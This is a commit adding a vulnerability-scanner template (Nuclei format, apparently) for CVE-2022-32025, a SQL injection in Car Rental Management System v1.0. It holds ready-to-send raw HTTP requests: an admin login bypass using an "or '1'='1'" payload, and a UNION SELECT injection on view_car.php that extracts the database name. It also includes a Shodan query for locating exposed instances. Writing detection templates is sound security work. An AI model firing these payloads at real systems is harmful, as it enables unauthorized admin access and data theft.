Create CVE-2022-32025.yaml

cves/2022/CVE-2022-32025.yaml

@@ -0,0 +1,42 @@
+id: CVE-2022-32025
+
+info:
+  name: Car Rental Management System v1.0 - SQL Injection
+  author: arafatansari
+  severity: high
+  description: |
+    Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/view_car.php?id=.
+  reference:
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32025
+  metadata:
+    shodan-query: http.html:"Car Rental Management System"
+    verified: "true"
+  tags: sql,cve,cms,2022
+
+requests:
+  - raw:
+      - |
+        POST /admin/ajax.php?action=login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        username=admin'+or+'1'%3D'1'%23&password=admin
+
+      - |
+        GET /admin/view_car.php?id=-1%20union%20select%201,database(),3,4,5,6,7,8,9,10--+ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+    redirects: true
+    max-redirects: 2
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'car_rental_db'
+
+      - type: status
+        status:
+          - 200